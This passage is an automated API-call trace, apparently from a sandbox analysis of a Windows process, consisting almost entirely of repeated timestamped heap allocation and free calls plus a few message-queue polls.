lpMem=0x7a05da0 | out: hHeap=0x5010000) returned 1 [0112.226] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.226] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0112.226] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.226] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0112.226] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c250 [0112.226] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.226] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.226] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c250 | out: hHeap=0x5010000) returned 1 [0112.226] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c250 [0112.226] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.226] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.226] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c250 | out: hHeap=0x5010000) returned 1 [0112.226] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c250 [0112.226] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.227] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.227] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c250 | out: hHeap=0x5010000) returned 1 [0112.227] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c250 [0112.227] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.227] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.227] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c250 | out: hHeap=0x5010000) returned 1 [0112.227] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c250 [0112.227] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.227] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.227] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c250 | out: hHeap=0x5010000) returned 1 [0112.227] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c250 [0112.227] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.227] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.227] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c250 | out: hHeap=0x5010000) returned 1 [0112.227] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c250 [0112.227] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.227] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0112.227] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.227] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.227] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c250 | out: hHeap=0x5010000) returned 1 [0112.227] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c250 [0112.227] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.227] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.227] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c250 | out: hHeap=0x5010000) returned 1 [0112.227] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c250 [0112.227] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.227] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.227] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c250 | out: hHeap=0x5010000) returned 1 [0112.227] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c250 [0112.227] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0112.227] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.228] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c250 | out: hHeap=0x5010000) returned 1 [0112.228] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c250 [0112.228] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0112.228] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.228] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c250 | out: hHeap=0x5010000) returned 1 [0112.228] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c250 [0112.228] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.228] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.228] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c250 | out: hHeap=0x5010000) returned 1 [0112.228] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c250 [0112.228] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.228] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.228] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c250 | out: hHeap=0x5010000) returned 1 [0112.228] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c250 [0112.228] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.228] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.228] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c250 | out: hHeap=0x5010000) returned 1 [0112.228] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c250 [0112.228] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.228] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.228] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c250 | out: hHeap=0x5010000) returned 1 [0112.228] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c250 [0112.228] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.228] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.228] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c250 | out: hHeap=0x5010000) returned 1 [0112.228] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c250 [0112.228] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.228] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.228] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c250 | out: hHeap=0x5010000) returned 1 [0112.228] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c250 [0112.228] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.228] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.229] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c250 | out: hHeap=0x5010000) returned 1 [0112.229] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c250 [0112.229] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.229] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.229] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c250 | out: hHeap=0x5010000) returned 1 [0112.229] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c250 [0112.229] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.229] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.229] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c250 | out: hHeap=0x5010000) returned 1 [0112.229] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c250 [0112.229] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ad3918 [0112.229] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0112.229] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c250 | out: hHeap=0x5010000) returned 1 [0112.229] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c250 [0112.229] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.229] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.229] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c250 | out: hHeap=0x5010000) returned 1 [0112.229] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c250 [0112.229] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.229] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0112.229] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.229] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.229] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c250 | out: hHeap=0x5010000) returned 1 [0112.229] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c250 [0112.229] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.229] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.229] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c250 | out: hHeap=0x5010000) returned 1 [0112.229] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c250 [0112.229] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.230] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0112.230] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.230] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.230] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c250 | out: hHeap=0x5010000) returned 1 [0112.230] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c250 [0112.230] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0112.230] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.230] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c250 | out: hHeap=0x5010000) returned 1 [0112.230] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c250 [0112.230] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0112.230] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.230] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c250 | out: hHeap=0x5010000) returned 1 [0112.230] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c250 [0112.230] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.230] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.230] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c250 | out: hHeap=0x5010000) returned 1 [0112.230] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c250 [0112.230] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.230] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.230] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c250 | out: hHeap=0x5010000) returned 1 [0112.230] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c250 [0112.230] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.230] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0112.230] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.230] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.230] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c250 | out: hHeap=0x5010000) returned 1 [0112.230] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c250 [0112.230] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.230] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.230] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c250 | out: hHeap=0x5010000) returned 1 [0112.231] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c250 [0112.231] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.231] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.231] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c250 | out: hHeap=0x5010000) returned 1 [0112.231] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c250 [0112.231] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.231] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.231] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c250 | out: hHeap=0x5010000) returned 1 [0112.231] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c250 [0112.231] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.231] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.231] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c250 | out: hHeap=0x5010000) returned 1 [0112.231] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c250 [0112.231] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.231] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.231] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c250 | out: hHeap=0x5010000) returned 1 [0112.231] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c250 [0112.231] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.231] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.231] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c250 | out: hHeap=0x5010000) returned 1 [0112.231] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c250 [0112.231] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.231] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.231] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c250 | out: hHeap=0x5010000) returned 1 [0112.231] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c250 [0112.231] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.231] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.231] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c250 | out: hHeap=0x5010000) returned 1 [0112.231] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c250 [0112.231] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.231] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.232] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c250 | out: hHeap=0x5010000) returned 1 [0112.232] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c250 [0112.232] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ad3918 [0112.232] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0112.232] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0112.232] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.232] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c250 | out: hHeap=0x5010000) returned 1 [0112.232] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c250 [0112.232] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.232] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.232] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c250 | out: hHeap=0x5010000) returned 1 [0112.232] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c250 [0112.232] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0112.232] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.232] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c250 | out: hHeap=0x5010000) returned 1 [0112.232] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c250 [0112.232] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0112.232] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.232] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c250 | out: hHeap=0x5010000) returned 1 [0112.232] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c250 [0112.232] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.232] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.232] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c250 | out: hHeap=0x5010000) returned 1 [0112.232] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c250 [0112.232] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.232] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.232] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c250 | out: hHeap=0x5010000) returned 1 [0112.232] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c250 [0112.232] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.232] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0112.232] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.232] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.232] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c250 | out: hHeap=0x5010000) returned 1 [0112.233] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c250 [0112.233] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.233] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.233] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c250 | out: hHeap=0x5010000) returned 1 [0112.233] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c250 [0112.233] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.233] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.233] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c250 | out: hHeap=0x5010000) returned 1 [0112.233] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c250 [0112.233] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.233] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.233] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c250 | out: hHeap=0x5010000) returned 1 [0112.233] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c250 [0112.233] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.233] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.233] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c250 | out: hHeap=0x5010000) returned 1 [0112.233] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c250 [0112.233] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.233] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.233] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c250 | out: hHeap=0x5010000) returned 1 [0112.233] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c250 [0112.233] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.233] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.233] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c250 | out: hHeap=0x5010000) returned 1 [0112.233] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c250 [0112.233] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.233] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.233] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c250 | out: hHeap=0x5010000) returned 1 [0112.233] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c250 [0112.234] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.234] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.234] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c250 | out: hHeap=0x5010000) returned 1 [0112.234] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c250 [0112.234] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.234] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.234] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c250 | out: hHeap=0x5010000) returned 1 [0112.234] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c250 [0112.234] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ad3918 [0112.234] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0112.234] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0112.234] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.234] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c250 | out: hHeap=0x5010000) returned 1 [0112.234] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c250 [0112.234] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.234] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.234] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c250 | out: hHeap=0x5010000) returned 1 [0112.234] 